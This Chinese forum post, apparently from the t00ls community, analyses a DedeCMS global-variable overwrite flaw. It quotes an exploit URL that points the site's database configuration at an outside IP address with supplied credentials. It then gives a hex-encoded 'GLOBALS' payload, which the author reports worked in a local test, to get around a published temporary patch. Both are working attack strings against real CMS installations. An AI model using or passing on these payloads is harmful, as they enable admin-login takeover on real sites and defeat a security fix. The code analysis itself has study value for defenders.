话说文章写得菜不要紧,首先标题要跟大牛一样!
作者:单恋一支花
出自:t00ls
转载请注明出处,如有雷同,纯属别人抄袭,嘿嘿!
一:写在前面
今天晚上想老婆了,失眠了,蛋裂之余,进吐司寻找基友,惊现dedecms通杀漏洞,小菜我异常激动,奈何发表漏洞的大牛只给出exp没给出漏洞分析,看到论坛的部分童鞋还在苦思漏洞缘由,小菜我虽然菜,但是懂点php,所以前来献丑,广大童鞋勿喷!
二:php也有抽的时候
当尝试php应用程序如何处理用户提交的时候,会出现以下反常情况:
1.$GLOBALS是一个全局数组,他可以根据名称访问变量.
2.如果register_globals打开,php会将$_REQUEST数组,也就是用户请求参数注册为全局。
3.php在$_SERVER数组里面会处理时特定的http消息头
4.名称包含下标的输入参数会转化为数组,这也是此次漏洞产生的原因!前三项只是我的一些总结,可能有不完全的地方,期待大牛补充。可能有的童鞋对第四项不是很了解,我就举个简单的例子吧!看代码:
<?php
print_r($_GET);
?>
直接提交http://127.0.0.1/test.php?test[dan]=1&test[lian]=2,这样我们会输出Array ( [test] => Array ( [dan] => 1 [lian] => 2 ) ) ,这样$_GET数组里面又嵌套了一个数组,成为一个二维数组!
三:针对dede的分析
根据上一条的内容,我们来分析一下dede,首先看作者给出exp吧login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
,我们看漏洞文件\include\common.inc.php文件第22行
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) )
{
exit('Request var not allow!');
}
}
$REQUEST变量没有过滤全局关键字(请参考我在二:php也有抽的时候的第一条),只验证了是否提交以及提交内容是否包含前缀cfg_|GLOBALS,就进行了第一次遍历数组,而我们的$_REQUET的$k是$_POST,进入第47行
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
我们注册了$_GET变量后,$_GET的$K是$_POST然后在遍历后,$_POST的$K是$_GLOBALS,从而导至$_GLOBALS被注册,其数组里面的元素cfg_dbhost cfg_dbuser cfg_dbpwd cfg_dbname被赋值,从而导致漏洞的产生!
http://www.t00ls.net/thread-17355-1-1.html的原理也是一样的。
四:漏洞补丁的绕过
在某博客上看到临时补丁
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) {
if( strlen($_k)>0 && eregi('^(cfg_|GLOBALS)',$_k) ){
exit('Request var not allow!');
}
${$_k} = _RunMagicQuotes($_v);
}
}
在遍历$_POST的时候,如果$k有GLOBALS的关键字就会终止,这点我们可以把GLOBALS转化为16进制绕过的。
login.php?dopost=login&validate=dcug&userid=admin&pwd=admin&_POST[0x474c4f42414c53][cfg_dbhost]=127.0.0.1&_POST[0x474c4f42414c53][cfg_dbuser]=root&_POST[0x474c4f42414c53][cfg_dbpwd]=&_POST[0x474c4f42414c53][cfg_dbname]=dedecmsv55gbk
我本地测试是成功的,有兴趣的同学可以测试一下!
我博客上也发了,嘿嘿大家感兴趣可以去看看我的百度博客!